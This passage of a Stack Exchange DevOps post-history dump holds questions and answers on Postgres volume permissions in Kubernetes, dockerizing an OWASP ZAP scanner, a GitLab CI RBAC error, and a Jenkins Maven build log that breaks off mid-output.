postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&#xD;&#xA;```&#xD;&#xA;And it results in this:&#xD;&#xA;```&#xD;&#xA;chmod: changing permissions of '/var/lib/postgresql/data': Operation not permitted&#xD;&#xA;```&#xD;&#xA;Try this:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;              value: &quot;-D /var/lib/postgresql/data/pgdata&quot;&#xD;&#xA;          volumeMounts:&#xD;&#xA;            - name: postgres-storage&#xD;&#xA;              mountPath: /var/lib/postgresql/data/pgdata&#xD;&#xA;              subPath: postgres-storage&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&#xD;&#xA;```&#xD;&#xA;And it results in this:&#xD;&#xA;```&#xD;&#xA;The files belonging to this database system will be owned by user &quot;postgres&quot;. This user must also own the server process.&#xD;&#xA;The database cluster will be initialized with locale &quot;en_US.utf8&quot;. The default database encoding has accordingly been set to &quot;UTF8&quot;. The default text search configuration will be set to &quot;english&quot;.&#xD;&#xA;&#xD;&#xA;Data page checksums are disabled.&#xD;&#xA;&#xD;&#xA;initdb: error: could not change permissions of directory &quot;/var/lib/postgresql/data/pgdata&quot;: Operation not permitted fixing permissions on existing directory /var/lib/postgresql/data/pgdata ...&#xD;&#xA;&#xD;&#xA;So nothing seems to work that I've tried and following the documentation where I can.&#xD;&#xA;```&#xD;&#xA;Someone suggested to get rid of the volume mounts like so:&#xD;&#xA;```&#xD;&#xA;            ...&#xD;&#xA;            - name: POSTGRES_INITDB_ARGS&#xD;&#xA;              value: &quot;-A md5&quot;&#xD;&#xA;            - name: PGDATA&#xD;&#xA;              value: /var/lib/postgresql/data/pgdata&#xD;&#xA;      volumes:&#xD;&#xA;        - name: postgres-storage&#xD;&#xA;          persistentVolumeClaim:&#xD;&#xA;            claimName: test-app-storage&#xD;&#xA;     ...&#xD;&#xA;```&#xD;&#xA;Which, hey, that actually works! But doesn't persist data given it just uses the Pod storage so is pretty pointless:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;And sure enough when you create a table in Postgres, destroy the Pod, and then redeploy it, of course the table is no longer there.&#xD;&#xA;&#xD;&#xA;So more than likely I'm doing something wrong, but I've been following the documentation and seems like this should work. &#xD;&#xA;&#xD;&#xA;Where are things going wrong?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT: Permissions in Pod**&#xD;&#xA;&#xD;&#xA;Apparently it is a permissions issue that occurs when `PGDATA` is the same directory as `mountPath`. For example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  ...&#xD;&#xA;  - name: PGDATA&#xD;&#xA;    value: /var/lib/postgresql-data&#xD;&#xA;volumeMounts:&#xD;&#xA;  - name: test-app-storage&#xD;&#xA;    mountPath: /var/lib/postgresql-data&#xD;&#xA;    subPath: postgres-storage&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;  ...&#xD;&#xA;  # if PGDATA is not specified it defaults to /var/lib/postgresql/data&#xD;&#xA;  # - name: PGDATA&#xD;&#xA;  #   value: /var/lib/postgresql-data&#xD;&#xA;volumeMounts:&#xD;&#xA;  - name: test-app-storage&#xD;&#xA;    mountPath: /var/lib/postgresql/data&#xD;&#xA;    subPath: postgres-storage&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Something like this where they do not match will create the Pod, but uses Pod storage which I obviously don't want:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  # Thus /var/lib/postgresql/data&#xD;&#xA;  # - name: PGDATA&#xD;&#xA;  #   value: /var/lib/postgresql-data&#xD;&#xA;volumeMounts:&#xD;&#xA;  - name: test-app-storage&#xD;&#xA;    mountPath: /var/lib/postgresql-data&#xD;&#xA;    subPath: postgres-storage&#xD;&#xA;```&#xD;&#xA;Permissions `ls -l` looks like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ ls -l&#xD;&#xA;&#xD;&#xA;drwxr-xr-x 1 root     root     4096 Feb  2 06:06 apt&#xD;&#xA;drwxr-xr-x 1 root     root     4096 Feb  2 06:07 dpkg&#xD;&#xA;drwxr-xr-x 2 root     root     4096 Feb  2 06:06 exim4&#xD;&#xA;drwxr-xr-x 2 root     root     4096 Aug 28  2018 logrotate&#xD;&#xA;drwxr-xr-x 2 root     root     4096 Nov 10 12:17 misc&#xD;&#xA;drwxr-xr-x 2 root     root     4096 Jan 30 00:00 pam&#xD;&#xA;drwxr-xr-x 1 postgres postgres 4096 Feb  2 06:07 postgresql&#xD;&#xA;drwxrwxrwx 2     1000     1000    0 Jan 31 21:46 postgresql-data&#xD;&#xA;drwxr-xr-x 1 root     root     4096 Jan 30 00:00 systemd&#xD;&#xA;drwxr-xr-x 3 root     root     4096 Feb  2 06:07 ucf&#xD;&#xA;&#xD;&#xA;$ ls -l postgresql &amp;&amp; ls -l postgresql/data &amp;&amp; ls -l postgresql-data&#xD;&#xA;total 4&#xD;&#xA;drwx------ 19 postgres postgres 4096 Feb  5 23:28 data&#xD;&#xA;total 124&#xD;&#xA;drwx------ 6 postgres postgres  4096 Feb  5 23:28 base&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:29 global&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_commit_ts&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_dynshmem&#xD;&#xA;-rw------- 1 postgres postgres  4281 Feb  5 23:28 pg_hba.conf&#xD;&#xA;-rw------- 1 postgres postgres  1636 Feb  5 23:28 pg_ident.conf&#xD;&#xA;drwx------ 4 postgres postgres  4096 Feb  5 23:33 pg_logical&#xD;&#xA;drwx------ 4 postgres postgres  4096 Feb  5 23:28 pg_multixact&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_notify&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_replslot&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_serial&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_snapshots&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_stat&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:51 pg_stat_tmp&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_subtrans&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_tblspc&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_twophase&#xD;&#xA;-rw------- 1 postgres postgres     3 Feb  5 23:28 PG_VERSION&#xD;&#xA;drwx------ 3 postgres postgres  4096 Feb  5 23:28 pg_wal&#xD;&#xA;drwx------ 2 postgres postgres  4096 Feb  5 23:28 pg_xact&#xD;&#xA;-rw------- 1 postgres postgres    88 Feb  5 23:28 postgresql.auto.conf&#xD;&#xA;-rw------- 1 postgres postgres 26588 Feb  5 23:28 postgresql.conf&#xD;&#xA;-rw------- 1 postgres postgres    36 Feb  5 23:28 postmaster.opts&#xD;&#xA;-rw------- 1 postgres postgres    94 Feb  5 23:28 postmaster.pid&#xD;&#xA;total 0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The permissions for where it creates the data files is `postgres`. However, doing this, it doesn't map to Azure Files and the PVC. It just stays and is destroyed with the Pod.&#xD;&#xA;&#xD;&#xA;I think what is happening is `mountPath` uses `root` and `PGDATA` uses `postgres`, and somehow `mountPath` is trying to use `postgres`??? &#xD;&#xA;&#xD;&#xA;Really, not sure and still lost as to how to resolve it.&#xD;&#xA;&#xD;&#xA;**EDIT2**&#xD;&#xA;&#xD;&#xA;Came across this answer:&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/a/51203031/3123109&#xD;&#xA;&#xD;&#xA;So added the following to mine:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: postgres&#xD;&#xA;  image: postgres&#xD;&#xA;  command: &#xD;&#xA;  - /bin/chown&#xD;&#xA;  - -R&#xD;&#xA;  - &quot;1000&quot;&#xD;&#xA;  - /var/lib/postgresql/data&#xD;&#xA;```&#xD;&#xA;But this generates a new error:&#xD;&#xA;```&#xD;&#xA;The selected container has not logged any messages yet.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Progress, I guess.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/E8fIG.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="33002" PostHistoryTypeId="2" PostId="10749" RevisionGUID="22914a4f-8650-4977-a435-924e9660f8f7" CreationDate="2020-02-08T00:54:25.797" UserId="17958" Text="I'm new to docker/Jenkins and would like a hand understanding something I'd like to practice.&#xA;&#xA;I'm trying to set up a tool (like owasp-zap) and using it to run against a container built of an intentionally vulnerable website (like owasp-juice shop). Then saving those results. My only experience in Docker is grabbing an existing image and running the container locally. I'm struggling to find docs about this and could use some guidance.&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33003" PostHistoryTypeId="1" PostId="10749" RevisionGUID="22914a4f-8650-4977-a435-924e9660f8f7" CreationDate="2020-02-08T00:54:25.797" UserId="17958" Text="Dockerizing a tool to test web apps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33004" PostHistoryTypeId="3" PostId="10749" RevisionGUID="22914a4f-8650-4977-a435-924e9660f8f7" CreationDate="2020-02-08T00:54:25.797" UserId="17958" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33008" PostHistoryTypeId="2" PostId="10751" RevisionGUID="95746b22-a27f-4ce0-89c8-9d2a7388f9ee" CreationDate="2020-02-09T10:38:12.863" UserId="19506" Text="I integrate the existing kubernetes cluster to the gitlab instance (omnibus). I get the below error in the deployment stage of CI/CD pipeline:&#xD;&#xA;&#xD;&#xA;    Error from server (Forbidden): error when retrieving current configuration of:&#xD;&#xA;     Resource: &quot;apps/v1, Resource=deployments&quot;, GroupVersionKind: &quot;apps/v1, Kind=Deployment&quot;&#xD;&#xA;     Name: &quot;test-deployment&quot;, Namespace: &quot;default&quot;&#xD;&#xA;     Object: &amp;{map[&quot;apiVersion&quot;:&quot;apps/v1&quot; &quot;kind&quot;:&quot;Deployment&quot; &quot;metadata&quot;:map[&quot;annotations&quot;:map[&quot;kubectl.kubernetes.io/last-applied-configuration&quot;:&quot;&quot;] &quot;name&quot;:&quot;test-deployment&quot; &quot;namespace&quot;:&quot;default&quot;] &quot;spec&quot;:map[&quot;replicas&quot;:'\x01' &quot;selector&quot;:map[&quot;matchLabels&quot;:map[&quot;app&quot;:&quot;test&quot;]] &quot;template&quot;:map[&quot;metadata&quot;:map[&quot;labels&quot;:map[&quot;app&quot;:&quot;test&quot;]] &quot;spec&quot;:map[&quot;containers&quot;:[map[&quot;env&quot;:[map[&quot;name&quot;:&quot;OHH_COMMON_REDEPLOY&quot; &quot;value&quot;:&quot;Sun Feb  9 13:55:45 +0330 2020&quot;]] &quot;image&quot;:&quot;192.168.10.6:5000/majid/hello-world:v0.01&quot; &quot;name&quot;:&quot;test&quot; &quot;ports&quot;:[map[&quot;containerPort&quot;:'P']]]]]]]]}&#xD;&#xA;     from server for: &quot;deployment.yaml&quot;: deployments.apps &quot;test-deployment&quot; is forbidden: User &quot;system:serviceaccount:kubetest-2-bina:kubetest-2-bina-service-account&quot; cannot get resource &quot;deployments&quot; in API group &quot;apps&quot; in the namespace &quot;default&quot;&#xD;&#xA;     ERROR: Job failed: exit status 1&#xD;&#xA;&#xD;&#xA;There is my .gitlab-ci.yaml file:&#xD;&#xA;&#xD;&#xA;    deploy:&#xD;&#xA;      image:&#xD;&#xA;        name: lachlanevenson/k8s-kubectl:latest &#xD;&#xA;        entrypoint: [&quot;/bin/sh&quot;, &quot;-c&quot;]&#xD;&#xA;      stage: deploy&#xD;&#xA;      environment:&#xD;&#xA;        name: bina&#xD;&#xA;        url: https://192.168.x.x&#xD;&#xA;      only:&#xD;&#xA;        - master&#xD;&#xA;      script:&#xD;&#xA;        - kubectl version&#xD;&#xA;        - sed -ie &quot;s/THIS_WILL_BE_REPLACED/$(date)/g&quot; deployment.yaml&#xD;&#xA;        - kubectl apply -f deployment.yaml --namespace=default&#xD;&#xA;&#xD;&#xA;The deployment file look like this:&#xD;&#xA;&#xD;&#xA;    apiVersion: apps/v1 &#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      name: test-deployment&#xD;&#xA;    spec:&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          app: test&#xD;&#xA;      replicas: 1&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: test&#xD;&#xA;        spec:&#xD;&#xA;          imagePullSecrets:&#xD;&#xA;          - name: regcred&#xD;&#xA;          containers:&#xD;&#xA;          - name: test&#xD;&#xA;            image: 192.168.10.6:5000/majid/hello-world:v0.01&#xD;&#xA;            ports:&#xD;&#xA;            - containerPort: 80&#xD;&#xA;            env:&#xD;&#xA;            - name: OHH_COMMON_REDEPLOY&#xD;&#xA;              value: THIS_WILL_BE_REPLACED&#xD;&#xA;&#xD;&#xA;I also create ServiceAccount and ClusterRoleBinding:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ServiceAccount&#xD;&#xA;    metadata:&#xD;&#xA;      name: gitlab-admin&#xD;&#xA;      namespace: kube-system&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: rbac.authorization.k8s.io/v1beta1&#xD;&#xA;    kind: ClusterRoleBinding&#xD;&#xA;    metadata:&#xD;&#xA;      name: gitlab-admin&#xD;&#xA;    roleRef:&#xD;&#xA;      apiGroup: rbac.authorization.k8s.io&#xD;&#xA;      kind: ClusterRole&#xD;&#xA;      name: cluster-admin&#xD;&#xA;    subjects:&#xD;&#xA;    - kind: ServiceAccount&#xD;&#xA;      name: gitlab-admin&#xD;&#xA;      namespace: kube-system&#xD;&#xA;&#xD;&#xA;How can I resolve this issue?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33009" PostHistoryTypeId="1" PostId="10751" RevisionGUID="95746b22-a27f-4ce0-89c8-9d2a7388f9ee" CreationDate="2020-02-09T10:38:12.863" UserId="19506" Text="Error from server (Forbidden): error when retrieving current configuration of: Resource: &quot;apps/v1, Resource=deployments&quot;," ContentLicense="CC BY-SA 4.0" />
  <row Id="33010" PostHistoryTypeId="3" PostId="10751" RevisionGUID="95746b22-a27f-4ce0-89c8-9d2a7388f9ee" CreationDate="2020-02-09T10:38:12.863" UserId="19506" Text="&lt;kubernetes&gt;&lt;gitlab&gt;&lt;cicd&gt;&lt;gitlab-ci-runner&gt;&lt;kubeadm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33015" PostHistoryTypeId="50" PostId="5100" RevisionGUID="a3d82f2c-cec5-4156-af85-db6325d32c7f" CreationDate="2020-02-09T17:01:40.267" UserId="-1" />
  <row Id="33017" PostHistoryTypeId="2" PostId="10753" RevisionGUID="ff5a0650-b4d7-4e77-92e9-c2bcec52d1cf" CreationDate="2020-02-09T19:23:45.343" UserId="16059" Text="You can dockerize/containerize pretty much anything fairly easily.  You basically just have to add a Dockerfile that:&#xD;&#xA;&#xD;&#xA; - Inherits from some base image;  this provides the basic OS features and whatever else you need.  E.g. a Java app may inherit from alpine-jdk-8 (a slim linux type image) that comes pre-bundled with the Java Development Kit.&#xD;&#xA; - Copies in your code and any dependencies.&#xD;&#xA; - Sets any variables you require.&#xD;&#xA; - Exposes any ports your app needs (e.g. ports 80/443 for serving a web page).&#xD;&#xA; - Mounts any volumes to save permanent data.  Generally anything in a container is ephemeral;  it will be gone when the container dies.  So, if you want to save/export results permanently you can mount a volume for, say, your local computer's file system, or for an amazon s3 bucket, or whatever.&#xD;&#xA; - Specifies how to start the app (the entry point).&#xD;&#xA;&#xD;&#xA;Here's an example for arbitrary python scripts; but it's the same deal for any other language/tool:&#xD;&#xA;&#xD;&#xA;https://runnable.com/docker/python/dockerize-your-python-application&#xD;&#xA;&#xD;&#xA;If you're taking an existing executable which may  be your case, you just do the same thing but instead of loading in your code, you load in the binary and set that as your entry point.&#xD;&#xA;&#xD;&#xA;The container lives until the entry point program ends.  So, some containers can be short lived - like just executing a CURL or something.  Some are permanent until they  die/are killed (e.g. a web service).&#xD;&#xA;&#xD;&#xA;Again, to save state/results, unless you're writing them to a database or some other external system, you will want to mount a volume.&#xD;&#xA;&#xD;&#xA;You build your Dockerfile into an image with a docker build command; then it will show up in your local docker image registry (`docker image ls -a`).  After that, you can run it with a standard docker run command (where you will likely want to expose any ports/etc that are needed).  I assume you're good with this one since you already run existing images in docker.&#xD;&#xA;&#xD;&#xA;Generally you will need to store your image in a registry so you can use it on/from other systems.  But if running it locally is all you need you're done now :).&#xD;&#xA;&#xD;&#xA;You can store your own containers in DockerHub or in Amazon AWS ECR or in any other number of options if you require a registry." ContentLicense="CC BY-SA 4.0" />
  <row Id="33018" PostHistoryTypeId="2" PostId="10754" RevisionGUID="2d6ac3c1-8c2f-4831-bf6d-84ce25e2cc8b" CreationDate="2020-02-10T02:28:10.680" UserId="19591" Text="I can answer half of your question: If you have a set of images you're trying to investigate, the best way would be to use `which` in a new container using the image in question. This way you can quickly see if a particular image has the binaries your are looking for already on `PATH`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run --rm ubuntu:latest which zip git&#xD;&#xA;# no result&#xD;&#xA;&#xD;&#xA;docker run --rm ubuntu:latest which bash sh&#xD;&#xA;/bin/bash&#xD;&#xA;/bin/sh&#xD;&#xA;# ^-- both bash and sh are in the image&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I don't know of a way to discover the set of images in question, as there is no manifest of files that a registry will provide. That is, yes, an image is a set of tar files, which you can extract a set of files/directory names... however, you'd still need to pull the entire image to get this information, so it would be easier to run the `which` command above.&#xD;&#xA;&#xD;&#xA;There are tools for exploring information that a registry exposes (skopeo, doocker-ls, reg, manifest-tool, etc) but none of them will do exactly what you're looking for, which is &quot;find a repository within a registry which contains an image that has a particular binary in it&quot;. " ContentLicense="CC BY-SA 4.0" />
  <row Id="33020" PostHistoryTypeId="5" PostId="10737" RevisionGUID="13bf4d94-d76a-43c7-8f90-bbd031ffb812" CreationDate="2020-02-10T06:56:28.520" UserId="4115" Comment="fixed console output formatting" Text="I have been trying to work on Jenkins and I'm able to Build the code but unable to deploy on to the Tomcat server. Have checked the users.xml file and &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Started by user nakul&#xD;&#xA;    Running as SYSTEM&#xD;&#xA;    Building in workspace /home/ubuntu/.jenkins/workspace/Development&#xD;&#xA;    using credential 1da4e373-a6ab-4c02-8231-6c3040786f0b&#xD;&#xA;     &gt; git rev-parse --is-inside-work-tree # timeout=10&#xD;&#xA;    Fetching changes from the remote Git repository&#xD;&#xA;     &gt; git config remote.origin.url https://github.com/nakul-crypto/maven.git # timeout=10&#xD;&#xA;    Fetching upstream changes from https://github.com/nakul-crypto/maven.git&#xD;&#xA;     &gt; git --version # timeout=10&#xD;&#xA;    using GIT_ASKPASS to set credentials &#xD;&#xA;     &gt; git fetch --tags --progress -- https://github.com/nakul-crypto/maven.git +refs/heads/*:refs/remotes/origin/* # timeout=10&#xD;&#xA;     &gt; git rev-parse refs/remotes/origin/master^{commit} # timeout=10&#xD;&#xA;     &gt; git rev-parse refs/remotes/origin/origin/master^{commit} # timeout=10&#xD;&#xA;    Checking out Revision 7599ae0e083b03eb84d05b6606b3dc0df36b45f8 (refs/remotes/origin/master)&#xD;&#xA;     &gt; git config core.sparsecheckout # timeout=10&#xD;&#xA;     &gt; git checkout -f 7599ae0e083b03eb84d05b6606b3dc0df36b45f8 # timeout=10&#xD;&#xA;    Commit message: &quot;maven&quot;&#xD;&#xA;     &gt; git rev-list --no-walk 7599ae0e083b03eb84d05b6606b3dc0df36b45f8 # timeout=10&#xD;&#xA;    [Development] $ mvn package&#xD;&#xA;    [[1;34mINFO[m] Scanning for projects...&#xD;&#xA;    [[1;33mWARNING[m] &#xD;&#xA;    [[1;33mWARNING[m] Some problems were encountered while building the effective model for com.example.maven-project:server:jar:1.0-SNAPSHOT&#xD;&#xA;    [[1;33mWARNING[m] Reporting configuration should be done in &lt;reporting&gt; section, not in maven-site-plugin &lt;configuration&gt; as reportPlugins parameter.&#xD;&#xA;    [[1;33mWARNING[m] &#xD;&#xA;    [[1;33mWARNING[m] Some problems were encountered while building the effective model for com.example.maven-project:webapp:war:1.0-SNAPSHOT&#xD;&#xA;    [[1;33mWARNING[m] Reporting configuration should be done in &lt;reporting&gt; section, not in maven-site-plugin &lt;configuration&gt; as reportPlugins parameter.&#xD;&#xA;    [[1;33mWARNING[m] &#xD;&#xA;    [[1;33mWARNING[m] Some problems were encountered while building the effective model for com.example.maven-project:maven-project:pom:1.0-SNAPSHOT&#xD;&#xA;    [[1;33mWARNING[m] Reporting configuration should be done in &lt;reporting&gt; section, not in maven-site-plugin &lt;configuration&gt; as reportPlugins parameter. @ line 56, column 24&#xD;&#xA;    [[1;33mWARNING[m] &#xD;&#xA;    [[1;33mWARNING[m] It is highly recommended to fix these problems because they threaten the stability of your build.&#xD;&#xA;    [[1;33mWARNING[m] &#xD;&#xA;    [[1;33mWARNING[m] For this reason, future Maven versions might no longer support building such malformed projects.&#xD;&#xA;    [[1;33mWARNING[m] &#xD;&#xA;    [[1;33mWARNING[m] The project com.example.maven-project:maven-project:pom:1.0-SNAPSHOT uses prerequisites which is only intended for maven-plugin projects but not for non maven-plugin projects. For such purposes you should use the maven-enforcer-plugin. See https://maven.apache.org/enforcer/enforcer-rules/requireMavenVersion.html&#xD;&#xA;    [[1;34mINFO[m] [1m------------------------------------------------------------------------[m&#xD;&#xA;    [[1;34mINFO[m] [1mReactor Build Order:[m&#xD;&#xA;    [[1;34mINFO[m] &#xD;&#xA;    [[1;34mINFO[m] Maven Project                                                      [pom]&#xD;&#xA;    [[1;34mINFO[m] Server                                                             [jar]&#xD;&#xA;    [[1;34mINFO[m] Webapp                                                             [war]&#xD;&#xA;    [[1;34mINFO[m] &#xD;&#xA;    [[1;34mINFO[m] [1m--------------&lt; [0;36mcom.example.maven-project:maven-project[0;1m &gt;---------------[m&#xD;&#xA;    [[1;34mINFO[m] [1mBuilding Maven Project 1.0-SNAPSHOT                                [1/3][m&#xD;&#xA;    [[1;34mINFO[m] [1m--------------------------------[ pom ]---------------------------------[m&#xD;&#xA;    [[1;34mINFO[m] &#xD;&#xA;    [[1;34mINFO[m] [1m------------------&lt; [0;36mcom.example.maven-project:server[0;1m &gt;------------------[m&#xD;&#xA;    [[1;34mINFO[m] [1mBuilding Server 1.0-SNAPSHOT                                       [2/3][m&#xD;&#xA;    [[1;34mINFO[m] [1m--------------------------------[ jar ]---------------------------------[m&#xD;&#xA;    [[1;34mINFO[m] &#xD;&#xA;    [[1;34mINFO[m] [1m--- [0;32mmaven-resources-plugin:2.5:resources[m [1m(default-resources)[m @ [36mserver[0;1m ---[m&#xD;&#xA;    [debug] execute contextualize&#xD;&#xA;    [[1;34mINFO[m] Using 'utf-8' encoding to copy filtered resources.&#xD;&#xA;    [[1;34mINFO[m] skip non existing resourceDirectory /home/ubuntu/.jenkins/workspace/Development/server/src/main/resources&#xD;&#xA;    [[1;34mINFO[m] &#xD;&#xA;    [[1;34mINFO[m] [1m--- [0;32mmaven-compiler-plugin:2.3.2:compile[m [1m(default-compile)[m @ [36mserver[0;1m ---[m&#xD;&#xA;    [[1;34mINFO[m] Nothing to compile - all classes are up to date&#xD;&#xA;    [[1;34mINFO[m] &#xD;&#xA;    [[1;34mINFO[m] [1m--- [0;32mmaven-resources-plugin:2.5:testResources[m [1m(default-testResources)[m @ [36mserver[0;1m ---[m&#xD;&#xA;    [debug] execute contextualize&#xD;&#xA;    [[1;34mINFO[m] Using 'utf-8' encoding to copy filtered resources.&#xD;&#xA;    [[1;34mINFO[m] skip non existing resourceDirectory /home/ubuntu/.jenkins/workspace/Development/server/src/test/resources&#xD;&#xA;    [[1;34mINFO[m] &#xD;&#xA;    [[1;34mINFO[m] [1m--- [0;32mmaven-compiler-plugin:2.3.2:testCompile[m [1m(default-testCompile)[m @ [36mserver[0;1m ---[m&#xD;&#xA;    [[1;34mINFO[m] Nothing to compile - all classes are up to date&#xD;&#xA;    [[1;34mINFO[m] &#xD;&#xA;    [[1;34mINFO[m] [1m--- [0;32mmaven-surefire-plugin:2.11:test[m [1m(default-test)[m @ [36mserver[0;1m ---[m&#xD;&#xA;    [[1;34mINFO[m] Surefire report directory: /home/ubuntu/.jenkins/workspace/Development/server/target/surefire-reports&#xD;&#xA;&#xD;&#xA;    -------------------------------------------------------&#xD;&#xA;     T E S T S&#xD;&#xA;    -------------------------------------------------------&#xD;&#xA;    &#xD;&#xA;    Running com.example.TestGreeter&#xD;&#xA;    Tests run: 2, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.116 sec&#xD;&#xA;    &#xD;&#xA;    Results :&#xD;&#xA;    &#xD;&#xA;    Tests run: 2, Failures: 0, Errors: 0, Skipped: 0&#xD;&#xA;    &#xD;&#xA;    [[1;34mINFO[m] &#xD;&#xA;    [[1;34mINFO[m] [1m--- [0;32mmaven-jar-plugin:2.4:jar[m [1m(default-jar)[m @ [36mserver[0;1m ---[m&#xD;&#xA;    [[1;34mINFO[m] &#xD;&#xA;    [[1;34mINFO[m] [1m------------------&lt; [0;36mcom.example.maven-project:webapp[0;1m &gt;------------------[m&#xD;&#xA;    [[1;34mINFO[m] [1mBuilding Webapp 1.0-SNAPSHOT                                       [3/3][m&#xD;&#xA;    [[1;34mINFO[m] [1m--------------------------------[ war ]---------------------------------[m&#xD;&#xA;    [[1;34mINFO[m] &#xD;&#xA;    [[1;34mINFO[m] [1m--- [0;32mmaven-resources-plugin:2.5:resources[m [1m(default-resources)[m @ [36mwebapp[0;1m ---[m&#xD;&#xA;    [debug] execute contextualize&#xD;&#xA;    [[1;34mINFO[m] Using 'utf-8' encoding to copy filtered resources.&#xD;&#xA;    [[1;34mINFO[m] skip non existing resourceDirectory /home/ubuntu/.jenkins/workspace/Development/webapp/src/main/resources&#xD;&#xA;    [[1;34mINFO[m] &#xD;&#xA;    [[1;34mINFO[m] [1m--- [0;32mmaven-compiler-plugin:2.3.2:compile[m [1m(default-compile)[m @ [36mwebapp[0;1m ---[m&#xD;&#xA;    [[1;34mINFO[m] No sources to compile&#xD;&#xA;    [[1;34mINFO[m] &#xD;&#xA;    [[1;34mINFO[m] [1m--- [0;32mmaven-resources-plugin:2.5:testResources[m [1m(default-testResources)[m @ [36mwebapp[0;1m ---[m&#xD;&#xA;    [debug] execute contextualize&#xD;&#xA;    [[1;34mINFO[m] Using 'utf-8' encoding to copy filtered resources.&#xD;&#xA;    [[1;34mINFO[m] skip non existing resourceDirectory /home/ubuntu/.jenkins/workspace/Development/webapp/src/test/resources&#xD;&#xA;    [[1;34mINFO[m] &#xD;&#xA;    [[1;34mINFO[m] [1m--- [0;32mmaven-compiler-plugin:2.3.2:testCompile[m [1m(default-testCompile)[m @ [36mwebapp[0;1m ---[m&#xD;&#xA;    [[1;34mINFO[m] No sources to compile&#xD;&#xA;    [[1;34mINFO[m] &#xD;&#xA;    [[1;34mINFO[m] [1m--- [0;32mmaven-surefire-plugin:2.11:test[m [1m(default-test)[m @ [36mwebapp[0;1m ---[m&#xD;&#xA;    [[1;34mINFO[m] No tests to run.&#xD;&#xA;    [[1;34mINFO[m] Surefire report directory: /home/ubuntu/.jenkins/workspace/Development/webapp/target/surefire-reports&#xD;&#xA;    &#xD;&#xA;    -------------------------------------------------------&#xD;&#xA;     T E S T S&#xD;&#xA;    -------------------------------------------------------&#xD;&#xA;    &#xD;&#xA;    Results :&#xD;&#xA;    &#xD;&#xA;    Tests run: 0, Failures: 0, Errors: 0, Skipped: 0&#xD;&#xA;    &#xD;&#xA;    [[1;34mINFO[m] &#xD;&#xA;    [[1;34mINFO[m] [1m--- [0;32mmaven-war-plugin:2.2:war[m [1m(default-war)[m @ [36mwebapp[0;1m ---[m&#xD;&#xA;    [[1;34mINFO[m] Packaging webapp&#xD;&#xA;    [[1;34mINFO[m] Assembling webapp [webapp] in [/home/ubuntu/.jenkins/workspace/Development/webapp/target/webapp]&#xD;&#xA;    [[1;34mINFO[m] Processing war project&#xD;&#xA;    [[1;34mINFO[m] Copying webapp resources [/home/ubuntu/.jenkins/workspace/Development/webapp/src/main/webapp]&#xD;&#xA;    [[1;34mINFO[m] Webapp assembled in [33 msecs]&#xD;&#xA;    [[1;34mINFO[m] Building war: /home/ubuntu/.jenkins/workspace/Development/webapp/target/webapp.war&#xD;&#xA;    [[1;34mINFO[m] WEB-INF/web.xml already added, skipping&#xD;&#xA;    [[1;34mINFO[m] [1m------------------------------------------------------------------------[m&#xD;&#xA;    [[1;34mINFO[m] [1mReactor Summary for Maven Project 1.0-SNAPSHOT:[m&#xD;&#xA;    [[1;34mINFO[m] &#xD;&#xA;    [[1;34mINFO[m] Maven Project ...................................... [1;32mSUCCESS[m [  0.010 s]&#xD;&#xA;    [[1;34mINFO[m] Server ............................................. [1;32mSUCCESS[m [  2.344 s]&#xD;&#xA;    [[1;34mINFO[m] Webapp 